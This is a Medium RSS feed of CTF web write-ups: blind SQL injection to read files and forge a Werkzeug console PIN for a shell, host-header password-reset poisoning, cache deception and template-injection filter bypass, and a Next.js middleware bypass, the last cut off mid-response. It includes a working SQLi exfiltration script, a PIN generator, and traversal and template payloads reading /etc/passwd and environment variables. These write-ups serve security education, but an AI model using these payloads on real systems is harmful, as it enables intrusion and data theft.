<?xml version="1.0" encoding="UTF-8"?><rss xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:atom="http://www.w3.org/2005/Atom" version="2.0" xmlns:cc="http://cyber.law.harvard.edu/rss/creativeCommonsRssModule.html">
    <channel>
        <title><![CDATA[Stories by Korea on Medium]]></title>
        <description><![CDATA[Stories by Korea on Medium]]></description>
        <link>https://medium.com/@omarahmedhu8?source=rss-4ec6f0c03f0c------2</link>
        <image>
            <url>https://cdn-images-1.medium.com/fit/c/150/150/1*SMp-GzdZCzTYOkSqL8VW9A.jpeg</url>
            <title>Stories by Korea on Medium</title>
            <link>https://medium.com/@omarahmedhu8?source=rss-4ec6f0c03f0c------2</link>
        </image>
        <generator>Medium</generator>
        <lastBuildDate>Thu, 03 Dec 2026 14:00:03 GMT</lastBuildDate>
        <atom:link href="https://medium.com/@omarahmedhu8/feed" rel="self" type="application/rss+xml"/>
        <webMaster><![CDATA[yourfriends@medium.com]]></webMaster>
        <atom:link href="http://medium.superfeedr.com/" rel="hub"/>
        <item>
            <title><![CDATA[Python Sucks Write-up]]></title>
            <link>https://medium.com/@omarahmedhu8/python-sucks-write-up-7a678e5e50fe?source=rss-4ec6f0c03f0c------2</link>
            <guid isPermaLink="false">https://medium.com/p/7a678e5e50fe</guid>
            <category><![CDATA[web]]></category>
            <category><![CDATA[ctf]]></category>
            <dc:creator><![CDATA[Korea]]></dc:creator>
            <pubDate>Fri, 12 Sep 2025 18:08:56 GMT</pubDate>
            <atom:updated>2025-09-13T18:16:14.823Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*yJNwE9pT8dTJgZUeq_XoMg.jpeg" /></figure><p>Hello Hackers,<br>Here is a write-up for my challenge in Connectors CTF <em>Python Sucks </em>The intended way.</p><p>There is some changes happened during the CTF so lets talk about the Intended approach and then will tell you what changed.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*CVc79Vlm3Uky81W_Tg9l6g.png" /></figure><p>first we have a simple website that have register and login functionality and we have our robots.txt` that will lead us to /version` that is clear hint to solve the challenge.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/757/1*QNyd_MKRzndUXwxhNPVgyQ.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/757/1*rxHsHW2OKiNfQyQXMSzs7A.png" /></figure><p>Okay now you have teh version of flask and postgresql let’s remind them in our heads for now and see the other functionalities.</p><p>if you made an account you will find a game that is totally useless and you can know that by simple analysis to the client side JS files</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*12xdJuczNJrSy9y3rp5XrQ.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*tLlNZnyejKoz-ZyYmIIu5w.png" /></figure><p>okay now we have nothing so as we know it uses sql why not trying sql injection with simple payload like a’ or 1=1 — ` lets try and see what we got</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*shL7rq0N_YorPc4EPkNshw.png" /></figure><p>okay now know that we have sql injection in the login lets see what admins can do more</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/904/1*Yo3hQjjCI549Rho9Qjj17Q.png" /></figure><p>Admins can read file from the system but there is a hard filter (changed during the CTF as announced but this is the original one) this filter blocks almost everything :</p><pre>app.py<br>/etc/passwd<br>/etc/shadow<br>all enviroment variables paths</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*6flxmO-aLxkfMuwuDrTLWA.png" /></figure><p>now as lfi is filtered we will get back to it and think why the author give us a version of flask and postgres and if you know flask it hase /console` that may lead to RCE and you have a potential LFI so it might be LFI to RCE through /console`<br>lets try to go to /console` you will find it and that make sense to the whole path you need to read files to generate the pin for console</p><blockquote>if you don’t know what /console` is check this one <a href="https://blog.gregscharf.com/2023/04/09/lfi-to-rce-in-flask-werkzeug-application/">flask_console</a></blockquote><p>okay but what about postgresql version it might have a cve??</p><p>Yes, Exactly it have CVE-2025–1094` but not that useful as we have no sanitization but while I was searching in this CVE I used the payload in this <a href="https://github.com/soltanali0/CVE-2025-1094-Exploit/blob/main/exploit.py">github</a> to read files.</p><pre>sql_payload = &quot;&quot;&quot;SELECT lo_export(<br>  (SELECT convert_from(pg_read_file(&#39;/etc/passwd&#39;), &#39;UTF8&#39;)), <br>  &#39;/tmp/payload&#39;<br>);&quot;&quot;&quot;</pre><p>This can read any file but we have blind sql that redirect to admin page if try and give us failed login if false</p><pre>a&#39; or 1=1 -- #true and redirect to admin-dashboard<br>a&#39; or 1=2 -- #false and redirec to login again</pre><p>Based on that we can make a script to exfiltrate the files that we need :</p><ul><li>`/sys/class/net/eth0/address` for the mac address</li><li>`&quot;/etc/machine-id&quot; or &quot;/proc/sys/kernel/random/boot_id”` for machine id</li></ul><p>This is the script</p><pre>import requests<br><br># Configuration - adjust these to match your CTF setup<br>LOGIN_URL = &#39;http://13.60.65.250:5000/login&#39;  # Replace with the actual login URL<br>ADMIN_REDIRECT = &#39;/admin_dashboard&#39;     # The path or keyword for successful admin redirect<br>LOGIN_REDIRECT = &#39;/login&#39;               # The path or keyword for login redirect (failure)<br>FORM_DATA = {<br>    &#39;username&#39;: &#39;&#39;,  # This will be set to the payload<br>    &#39;password&#39;: &#39;password&#39;  # Replace if needed, or add other fields<br>}<br>METHOD = &#39;POST&#39;  # Or &#39;GET&#39; if it&#39;s a GET request<br>PARAMS = {}  # If GET, set payload in params like {&#39;username&#39;: payload}<br>HEADERS = {}  # Add any headers if needed, e.g., {&#39;Content-Type&#39;: &#39;application/x-www-form-urlencoded&#39;}<br><br># File path to read<br>FILE_PATH = &#39;/proc/sys/kernel/random/boot_id&#39;<br><br>def send_request(payload):<br>    if METHOD == &#39;POST&#39;:<br>        data = FORM_DATA.copy()<br>        data[&#39;username&#39;] = payload<br>        response = requests.post(LOGIN_URL, data=data, allow_redirects=False, headers=HEADERS)<br>    elif METHOD == &#39;GET&#39;:<br>        params = PARAMS.copy()<br>        params[&#39;username&#39;] = payload<br>        response = requests.get(LOGIN_URL, params=params, allow_redirects=False, headers=HEADERS)<br>    else:<br>        raise ValueError(&quot;Unsupported method&quot;)<br><br>    # Check redirect location<br>    if &#39;Location&#39; in response.headers:<br>        location = response.headers[&#39;Location&#39;]<br>        if ADMIN_REDIRECT in location:<br>            return True  # Condition true<br>        elif LOGIN_REDIRECT in location:<br>            return False  # Condition false<br>    # Fallback: adjust based on your setup, e.g., check status code or content<br>    return response.status_code == 302 and ADMIN_REDIRECT in response.text  # Example fallback<br><br>def extract_char(position):<br>    low = 0<br>    high = 127<br>    while low &lt; high:<br>        mid = (low + high) // 2<br>        # Payload for ascii(substr(file, pos, 1)) &gt; mid<br>        subquery = f&quot;(SELECT ascii(substr(pg_read_file(&#39;{FILE_PATH}&#39;), {position}, 1))) &gt; {mid}&quot;<br>        payload = f&quot;korea&#39; or {subquery} --&quot;<br>        if send_request(payload):<br>            low = mid + 1<br>        else:<br>            high = mid<br>    return chr(low)<br><br>def main():<br>    mac_address = &#39;&#39;<br>    position = 1<br>    while True:<br>        char = extract_char(position)<br>        if char == &#39;\n&#39; or len(mac_address) &gt;= 100:<br>            break<br>        mac_address += char<br>        position += 1<br>        print(f&quot;Extracted so far: {mac_address}&quot;)<br>    <br>    print(f&quot;Full file content: {mac_address.strip()}&quot;)<br><br>if __name__ == &#39;__main__&#39;:<br>    main()</pre><p>we can run it to get the mac and the and the machine id.</p><p>and we can use that script to generate the PIN and get shell</p><pre>import hashlib<br>from itertools import chain<br><br># Current container values<br>mac_address = &quot;16:fa:bb:b2:5f:46&quot;<br>boot_id = &quot;ee67cd79-2428-4c54-b8b0-aa4599cbf7f8&quot;<br><br># Convert MAC to decimal<br>mac_decimal = str(int(&quot;0x&quot; + &quot;&quot;.join(mac_address.split(&quot;:&quot;)), 16))<br><br>probably_public_bits = [<br>    &#39;root&#39;,  # username (from whoami in container)<br>    &#39;flask.app&#39;,  # modname<br>    &#39;Flask&#39;,  # getattr(app, &#39;__name__&#39;, getattr(app.__class__, &#39;__name__&#39;))<br>    &#39;/usr/local/lib/python3.9/site-packages/flask/app.py&#39;  # getattr(mod, &#39;__file__&#39;, None),<br>]<br><br>private_bits = [<br>    mac_decimal,  # str(uuid.getnode()),  MAC address as decimal<br>    boot_id  # get_machine_id(), /proc/sys/kernel/random/boot_id<br>]<br><br>print(f&quot;[DEBUG] MAC Address: {mac_address}&quot;)<br>print(f&quot;[DEBUG] MAC Decimal: {mac_decimal}&quot;)<br>print(f&quot;[DEBUG] Boot ID: {boot_id}&quot;)<br>print(f&quot;[DEBUG] Public Bits: {probably_public_bits}&quot;)<br>print(f&quot;[DEBUG] Private Bits: {private_bits}&quot;)<br><br># h = hashlib.md5()  # Changed in https://werkzeug.palletsprojects.com/en/2.2.x/changes/#version-2-0-0<br>h = hashlib.sha1()<br>for bit in chain(probably_public_bits, private_bits):<br>    if not bit:<br>        continue<br>    if isinstance(bit, str):<br>        bit = bit.encode(&#39;utf-8&#39;)<br>    h.update(bit)<br>h.update(b&#39;cookiesalt&#39;)<br># h.update(b&#39;shittysalt&#39;)<br><br>cookie_name = &#39;__wzd&#39; + h.hexdigest()[:20]<br><br>num = None<br>if num is None:<br>    h.update(b&#39;pinsalt&#39;)<br>    num = (&#39;%09d&#39; % int(h.hexdigest(), 16))[:9]<br><br>rv = None<br>if rv is None:<br>    for group_size in 5, 4, 3:<br>        if len(num) % group_size == 0:<br>            rv = &#39;-&#39;.join(num[x:x + group_size].rjust(group_size, &#39;0&#39;)<br>                          for x in range(0, len(num), group_size))<br>            break<br>    else:<br>        rv = num<br><br>print(f&quot;[RESULT] Calculated PIN: {rv}&quot;)</pre><p>But if you tried that you will get a wrong pin everytime and that was the main core of the challenge. The extracted mac address is not the mac address of the machine it will be the mac address of the sql server or container and so that you will not be able to get the right mac you can get only the machine-id from the sql injection.<br>so now we will get the machine-ID from the sql and get back to LFI</p><pre>[korea@fedora ~]$ python3 mini_solver.py <br>Extracted so far: e<br>Extracted so far: ee<br>Extracted so far: ee6<br>Extracted so far: ee67<br>Extracted so far: ee67c<br>Extracted so far: ee67cd<br>Extracted so far: ee67cd7<br>Extracted so far: ee67cd79<br>Extracted so far: ee67cd79-<br>Extracted so far: ee67cd79-2<br>Extracted so far: ee67cd79-24<br>Extracted so far: ee67cd79-242<br>Extracted so far: ee67cd79-2428<br>Extracted so far: ee67cd79-2428-<br>Extracted so far: ee67cd79-2428-4<br>Extracted so far: ee67cd79-2428-4c<br>Extracted so far: ee67cd79-2428-4c5<br>Extracted so far: ee67cd79-2428-4c54<br>Extracted so far: ee67cd79-2428-4c54-<br>Extracted so far: ee67cd79-2428-4c54-b<br>Extracted so far: ee67cd79-2428-4c54-b8<br>Extracted so far: ee67cd79-2428-4c54-b8b<br>Extracted so far: ee67cd79-2428-4c54-b8b0<br>Extracted so far: ee67cd79-2428-4c54-b8b0-<br>Extracted so far: ee67cd79-2428-4c54-b8b0-a<br>Extracted so far: ee67cd79-2428-4c54-b8b0-aa<br>Extracted so far: ee67cd79-2428-4c54-b8b0-aa4<br>Extracted so far: ee67cd79-2428-4c54-b8b0-aa45<br>Extracted so far: ee67cd79-2428-4c54-b8b0-aa459<br>Extracted so far: ee67cd79-2428-4c54-b8b0-aa4599<br>Extracted so far: ee67cd79-2428-4c54-b8b0-aa4599c<br>Extracted so far: ee67cd79-2428-4c54-b8b0-aa4599cb<br>Extracted so far: ee67cd79-2428-4c54-b8b0-aa4599cbf<br>Extracted so far: ee67cd79-2428-4c54-b8b0-aa4599cbf7<br>Extracted so far: ee67cd79-2428-4c54-b8b0-aa4599cbf7f<br>Extracted so far: ee67cd79-2428-4c54-b8b0-aa4599cbf7f8<br>Full machine-id: ee67cd79-2428-4c54-b8b0-aa4599cbf7f8<br>[korea@fedora ~]$ ^C<br>[korea@fedora ~]$ </pre><p>now lets get back to LFI and try to bypass the filter.<br>you will notice the error when I typed app.py` says 50 chars in length and it is LFI` . one of the payloads that passes LFI` is something like that</p><pre>//////////////////////////////////////////////////////////////etc/passwd<br>../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../etc/passwd</pre><p>and all this long payloads that depends on that the back-end might have a limited buffer when sensitizing our input so long payloads sometimes bypasses and as we have 50 chars in the error lets try to add 50 slashes + our path` or add slashes + our path = 50` and see which one will work</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*zwa0mZf3NYOiBwfXls2_8g.png" /></figure><p>I tried both and seems like 50 slashes + path` worked fine so now we have LFI` I will try to get the machine id and the mac again</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*6-4LCjliiC28MVejp0-Jig.png" /></figure><p>Here is our mac and lets see if we can get the machine id</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*4XTM_EUge8DCDlkjVua50w.png" /></figure><p>but the machine-id is blocked as the author want to make you find the SQL CVE.<br>now lets generate the pin</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*QyQUwP1rNQdwdmSaOR7WIA.png" /></figure><p>now lets go to /console` and submit it</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*ZZBFkYWgl1AW6QsUSxfU5g.png" /></figure><p>now we have python shell lets find the flag you will need to ls some famous directories like /tmp, /etc, /dec, /root`</p><p>and you will find it in /tmp`</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*PrX_-oJiefFTDWiEoRWNng.png" /></figure><p>That was the intended way and the goal was to know why could all your payloads are not working because of assumption that we have made that sql gives a right mac address.</p><p>The uninteded was that the python filter of the LFI is not implemmented very well so you can bypass it with payloads like this one</p><pre>//////////////////////////////////////////////////../../../../../../../../../../../../proc//sys/kernel/random/boot_id</pre><p>also during the CTF there was a bug and while I was fixing it someone reached app.py` source code so I had to remove the filter of it to be fair for every players.</p><p>I hope the challenge was useful and you enjoyed it. See you in finals.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=7a678e5e50fe" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Underground Maze — Web]]></title>
            <link>https://medium.com/@omarahmedhu8/underground-maze-web-823ee1e23c0d?source=rss-4ec6f0c03f0c------2</link>
            <guid isPermaLink="false">https://medium.com/p/823ee1e23c0d</guid>
            <category><![CDATA[ctf-writeup]]></category>
            <category><![CDATA[web]]></category>
            <dc:creator><![CDATA[Korea]]></dc:creator>
            <pubDate>Thu, 21 Aug 2025 21:05:48 GMT</pubDate>
            <atom:updated>2025-08-21T21:05:48.799Z</atom:updated>
            <content:encoded><![CDATA[<h3>Underground Maze — Web</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*nkZygwOnGI6J3T8cnygF_g.png" /></figure><p><strong>بسم الله الرحمن الرحيم</strong></p><p>I have participated in <strong>CAT CTF 25</strong> as a web author and I have written this challenge with my awesome friend <a href="https://mushroom.cat/">Mushroom</a> and here is the official write up.</p><p>It’s an white-box challenge so we have access to the source code.</p><p><em>The challenge was restarting every 5 mins so all the payloads have to be fast or scripted</em></p><p><strong>Let’s start</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*ev7LNw8kq9HbcMI2ROcZ8w.png" /></figure><p>we have a simple website that have login/register</p><p>and some posting functionalities with this cutie cat profile picture</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*FPu48Psfw0FqGZEFnrsvOA.png" /></figure><p>There is also admin panel that we don’t have access to it.</p><p>Nothing is really interesting on the Ui so let’s deep dive into the code</p><p>after source code reviewing you will notice that there is forget password functionality</p><pre>router.post(&quot;/forgot-password&quot;, async (req, res) =&gt; {<br>const { email } = req.body;<br>const result = await db.query(&quot;SELECT * FROM users WHERE email = ?&quot;, [email]);<br>const user = result.rows[0];<br>if (user) {<br>const token = jwt.sign({ id: user.id, email: user.email, action: &#39;reset-password&#39; }, JWT_SECRET, {<br>expiresIn: &quot;15m&quot;,<br>});<br>const resetLink = `http://${req.headers.host}/reset-password/${token}`;<br>console.log(`Password reset link: ${resetLink}`);<br>if (user.username === &#39;admin&#39;) {<br>await visit(resetLink);<br>}}router.post(&quot;/forgot-password&quot;, async (req, res) =&gt; {<br>const { email } = req.body;<br>const result = await db.query(&quot;SELECT * FROM users WHERE email = ?&quot;, [email]);<br>const user = result.rows[0];<br>if (user) {<br>const token = jwt.sign({ id: user.id, email: user.email, action: &#39;reset-password&#39; }, JWT_SECRET, {<br>expiresIn: &quot;15m&quot;,<br>});<br>const resetLink = `http://${req.headers.host}/reset-password/${token}`;<br>console.log(`Password reset link: ${resetLink}`);<br>if (user.username === &#39;admin&#39;) {<br>await visit(resetLink);<br>}}</pre><p>and it takes the domain from host header so that it is very basic host header injection attack so lets open burp suite and try to reset the password of the admin</p><p>I captured the request on burp</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*tL2B1tXdgi5Pcrp4fYHxGw.png" /></figure><p>now lets modify the email and put the admin email I assumed it is basic as admin@admin.com and lets change our host header with burp collab link</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*PIcbVwqlBtDS5I1SLBi3hg.png" /></figure><p>now let’s see our collab</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*n3nLF6rEc9g-I_reTLSI5g.png" /></figure><p>and here we got the reset link</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*iXnjNe_7P0YlCcNBXUgB0A.png" /></figure><p>we reset the admin password and then we got that page of 2fa</p><p>that was the first part of the challenge</p><p>now let’s keep reviewing the code and you will notice that there is nginx that caches some content</p><pre>worker_processes auto;<br><br>events {<br>    worker_connections 1024;<br>}<br><br>http {<br>    proxy_cache_path /tmp/nginx_cache levels=1:2 keys_zone=my_cache:10m max_size=100m inactive=60m use_temp_path=off;<br><br>    include       mime.types;<br>    default_type  application/octet-stream;<br><br>    sendfile        on;<br>    keepalive_timeout  65;<br><br>    server {<br>        listen 80;<br>        server_name localhost;<br><br>        location ~* \.(?:css|js|ico|gif|jpe?g|png)$ {<br>            proxy_pass http://app:3000;<br>            proxy_set_header Host $host;<br><br>            proxy_cache my_cache;<br>            proxy_cache_key &quot;$scheme$request_method$host$request_uri&quot;;<br>            proxy_cache_valid 200 302 10s;<br>            proxy_ignore_headers Cache-Control Expires Set-Cookie;<br><br>            add_header X-Cache-Status $upstream_cache_status;<br>        }<br><br>        location / {<br>            proxy_pass http://app:3000;<br>            proxy_set_header Host $host;<br>        }<br>    }<br>}</pre><p>this config file tells as that any file that ends with <strong><em>.css .js</em></strong> and so on will be cached for 10 secs.</p><p>and also there is another endpoint that named <strong><em>/admin/2fa-setup</em></strong> that have the secret of the admin auth app</p><p>so if we successfully cached this enpoint we will get the secret and have the 2fa code</p><p>there is also a bot that mimic admin visit on <strong><em>/report</em></strong> so the plan is</p><ul><li>make the bot visit <strong><em>/admin/2fa-setup</em></strong></li><li>leak the code from the cached page</li></ul><p>but how it will be cached ? it doesn&#39;t end with CSS or any of the extensions</p><p>we can bypass that with payload like that</p><p>`<strong><em>/admin/2fa-setup?.css</em></strong>` or `<strong><em>/admin/2fa-setup#.js</em></strong>`</p><p>lets try and see</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*HoHzkL2RvtB1SInJIIH3KA.png" /></figure><p>here is our request and lets see within the 10 secs if it’s cached or not</p><p>and sadly it is not</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*K2Xqb635xQ-bJk-idgRsGw.png" /></figure><p>I think most of the players was confused why but if you read the source code wisely you will find this middleware</p><pre>const fixUrl = (req, res, next) =&gt; {<br>const extensionRegex = /\.(css|js|jpg|jpeg|png|gif|svg|ico)$/i;<br>if (req.url.match(extensionRegex)) {<br>req.url = req.url.replace(extensionRegex, &#39;&#39;);<br>}<br>return next();<br>};<br>module.exports = fixUrl;</pre><p>which simply remove the `<strong><em>.css .js</em></strong>` and so on so simple payload like that <strong><em>/admin/2fa-setup.css</em></strong> will work even it sounds silly :)</p><p>so now lets try</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*l6lvo1VvCkz_FsXGQEWr1g.png" /></figure><p>and here we got the admin secret</p><p>now lets link it with the auth app</p><p>and get the code and we are in</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*3YPDZpdwuPQRpsFrrbTkQg.png" /></figure><p>now lets see the third part which is admin panel</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*4mgsAhqJv8jhQAilSbe8dQ.png" /></figure><p>if you read the code you will find that our input is being rendered in template and there is a huge list of filters</p><p>here there is a lot of solutions to bypass the filter choose whatever you want</p><p>let’s try something like that</p><pre>&lt;%= process[`${&#39;e&#39;}${&#39;n&#39;}${&#39;v&#39;}`] %&gt;<br>&lt;%= process[&#39;e&#39;.padEnd(3,&#39;nv&#39;)] %&gt;</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/780/1*nhGS4xjpFW1i3p7EP0XlZw.png" /></figure><p>we have js object let’s stringify it with <strong><em>JSON.stringify</em></strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/534/1*qg-dKf0vCHPKFxvdqVOHiQ.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/818/1*PcjxsFKGFG9fr7eBjPgynA.png" /></figure><p>and we will get our flag</p><p>that’s not the only payload that works there is a lot of different approaches but I choose this as it is easy and simple.</p><p>I really enjoyed writing this challenge with Mushroom go follow his <a href="https://mushroom.cat/">blog</a> he is really awesome.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=823ee1e23c0d" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[ASCWG 2025 Qualification 3.6 Roentgen — Web]]></title>
            <link>https://medium.com/@omarahmedhu8/ascwg-2025-qualification-3-6-roentgen-web-89c750aeace1?source=rss-4ec6f0c03f0c------2</link>
            <guid isPermaLink="false">https://medium.com/p/89c750aeace1</guid>
            <category><![CDATA[web]]></category>
            <category><![CDATA[ctf]]></category>
            <dc:creator><![CDATA[Korea]]></dc:creator>
            <pubDate>Sat, 02 Aug 2025 23:39:04 GMT</pubDate>
            <atom:updated>2025-08-03T14:30:26.007Z</atom:updated>
            <content:encoded><![CDATA[<h3><strong>ASCWG 2025 Qualifications — 3.6 Roentgen</strong></h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*DFLaEkzqbGWr-r0BmjB56A.png" /></figure><p>ASCWG 2025 Qualifications — 3.6 Roentgen</p><p>at the beginning we have a simple user login page but we don’t have any credentials</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*QW7MUJpj9x337fOlmcKpqg.png" /></figure><p>so i reviewed the js files in the client side and noticed that it uses <strong>NEXT.JS</strong><br>you can also notice that you have some interesting end points</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*DbKoHawWTxENJOwZz5VwZg.png" /></figure><p>at the beginning my thoughts was that I must deobfuscate the js files and leak any secrets but it didn’t work then I remembered the article that I have read about <strong>next.js</strong> that was auth middleware bypass by `zhero`</p><p>This is the article :<br>[Zhero middleware bypass next.js](<a href="https://zhero-web-sec.github.io/research-and-things/nextjs-and-the-corrupt-middleware">https://zhero-web-sec.github.io/research-and-things/nextjs-and-the-corrupt-middleware</a>)<br>so that was really good entry point to the challenge<br>The cve was about a way to bypass the middleware of next by using `x-middleware-subrequest` header followed by the path of the middleware.js file like `next/middleware` or `/pages/middleware` or `/admin/middleware` whatever the path and also have some different scenarios stated in the main article you can look at it.<br>so I got excited and tried the technique on the `/admin/dashboard` to get the flag and submit and celebrate. but life is not pinky.<br>I tried at the beginning this payload `x-middleware-subrequest: middleware`</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*p2ZMYSfCxmrrxu89ovGzig.png" /></figure><p>this was the response temp redirection.<br>I assumed the path was wrong so I tried a lot of paths but none of them worked.</p><p>but I was confident about two path `middleware` and `_next/middleware`</p><p>as I assumed it will be in the root of the app or in middleware directory</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/423/1*skCfnC7UcbLJJ_nqy6fAAA.png" /></figure><p>I left the challenge after that as no clues what goes wrong and when I got it back one of my friends told me why didn’t you tested it on another endpoint.</p><p>So I tried all the endpoints of the API and the app and none of them works but only this endpoint worked `/api/users/login`</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*qUhlAD1UzYqtYW-DcKa3iQ.png" /></figure><p>and it worked with both paths so it seems like it doesn’t matter in our case</p><p>now let’s take the cookie and go in `/api/users/dasboard`</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*_aIVwsUPTa9Pu3ejjxaebg.png" /></figure><p>it tells as that we have to find api documentation under `/dashboard`</p><p>I tried a lot to get it and for some reason my fuzzer didn’t get it until after a lot of guessing I find it in `/docs`</p><p>obviuous but took a lot of time :)</p><p>```JSON<br>HTTP/1.1 200 OK<br>Content-Type: application/json; charset=utf-8<br>ETag: “15wfvq7un1n15g”<br>Vary: Accept-Encoding<br>Date: Sat, 02 Aug 2025 22:34:58 GMT<br>Connection: keep-alive<br>Keep-Alive: timeout=5<br>Content-Length: 1492<br>{<br>“success”: true,<br>“message”: “API Documentation and System Overview”,<br>“method”: “GET”,<br>“endpoint”: “/api/users/dashboard/docs”,<br>“usersSummary”: {<br>“totalUsers”: 9,<br>“activeUsers”: 8,<br>“inactiveUsers”: 1,<br>“usersByRole”: {<br>“admin”: 5,<br>“user”: 4,<br>“moderator”: 0<br>}<br>},<br>“systemSummary”: {<br>“name”: “CTF User Management System”,<br>“version”: “1.0.0”,<br>“status”: “running”,<br>“uptime”: “24h 30m”,<br>“lastUpdate”: “2025–08–02T22:34:58.018Z”<br>},<br>“configSummary”: {<br>“authMethod”: “cookie-based”,<br>“sessionTimeout”: “24h”,<br>“encryption”: “AES-256”,<br>“features”: [<br>“passwordReset”,<br>“emailNotifications”,<br>“auditLogging”<br>]<br>},<br>“availableEndpoints”: [<br>{<br>“action”: “info”,<br>“description”: “Get detailed system information”,<br>“usage”: “?action=info”,<br>“methods”: [<br>“GET”<br>]<br>},<br>{<br>“action”: “status”,<br>“description”: “Get current system status”,<br>“usage”: “?action=status”,<br>“methods”: [<br>“GET”<br>]<br>},<br>{<br>“action”: “logs”,<br>“description”: “Get activity logs with filtering”,<br>“usage”: “?action=logs&amp;level=&lt;LEVEL&gt;”,<br>“methods”: [<br>“GET”<br>]<br>},<br>{<br>“action”: “config”,<br>“description”: “Get system configuration”,<br>“usage”: “?action=config”,<br>“methods”: [<br>“GET”<br>]<br>},<br>{<br>“action”: “active-users”,<br>“description”: “Get active users with role filtering”,<br>“usage”: “?action=active-users&amp;role=&lt;ROLE&gt;”,<br>“methods”: [<br>“GET”<br>]<br>},<br>{<br>“action”: “username”,<br>“description”: “Get usernames or specific user data”,<br>“usage”: “?username= or ?username=Name”,<br>“methods”: [<br>“GET”<br>]<br>}<br>],<br>“documentation”: {<br>“title”: “API Documentation”,<br>“description”: “Complete REST API for user management system”,<br>“usage”: {<br>“userData”: “?username=Name (get user data)”,<br>“actions”: “?action=info|status|logs|config|active-users”<br>}<br>}<br>}<br>```<br>this is the docs we have some actions we can do the important one is active-users as it list all the users<br>```JSON<br>{<br>“success”: true,<br>“method”: “GET”,<br>“action”: “active-users”,<br>“timestamp”: “2025–08–02T22:36:42.813Z”,<br>“usersSummary”: {<br>“totalUsers”: 9,<br>“activeUsers”: 8,<br>“inactiveUsers”: 1,<br>“usersByRole”: {<br>“admin”: 5,<br>“user”: 4,<br>“moderator”: 0<br>}<br>},<br>“systemSummary”: {<br>“name”: “CTF User Management System”,<br>“version”: “1.0.0”,<br>“status”: “running”,<br>“uptime”: “24h 30m”,<br>“lastUpdate”: “2025–08–02T22:36:42.813Z”<br>},<br>“configSummary”: {<br>“authMethod”: “cookie-based”,<br>“sessionTimeout”: “24h”,<br>“encryption”: “AES-256”,<br>“features”: [<br>“passwordReset”,<br>“emailNotifications”,<br>“auditLogging”<br>]<br>},<br>“availableEndpoints”: [<br>{<br>“action”: “info”,<br>“description”: “Get detailed system information”,<br>“usage”: “?action=info”,<br>“methods”: [<br>“GET”<br>]<br>},<br>{<br>“action”: “status”,<br>“description”: “Get current system status”,<br>“usage”: “?action=status”,<br>“methods”: [<br>“GET”<br>]<br>},<br>{<br>“action”: “logs”,<br>“description”: “Get activity logs with filtering”,<br>“usage”: “?action=logs&amp;level=&lt;LEVEL&gt;”,<br>“methods”: [<br>“GET”<br>]<br>},<br>{<br>“action”: “config”,<br>“description”: “Get system configuration”,<br>“usage”: “?action=config”,<br>“methods”: [<br>“GET”<br>]<br>},<br>{<br>“action”: “active-users”,<br>“description”: “Get active users with role filtering”,<br>“usage”: “?action=active-users&amp;role=&lt;ROLE&gt;”,<br>“methods”: [<br>“GET”<br>]<br>},<br>{<br>“action”: “username”,<br>“description”: “Get usernames or specific user data”,<br>“usage”: “?username= or ?username=Name”,<br>“methods”: [<br>“GET”<br>]<br>}<br>],<br>“message”: “Currently active users”,<br>“activeUsers”: [<br>{<br>“id”: 1,<br>“username”: “john”,<br>“email”: “<a href="/service/mailto:john@example.com">john@example.com</a>”,<br>“active”: true,<br>“role”: “admin”,<br>“lastLogin”: “2025–01–11T09:30:00Z”,<br>“endpoint”: “/admin/login”<br>},<br>{<br>“id”: 3,<br>“username”: “Amr”,<br>“email”: “<a 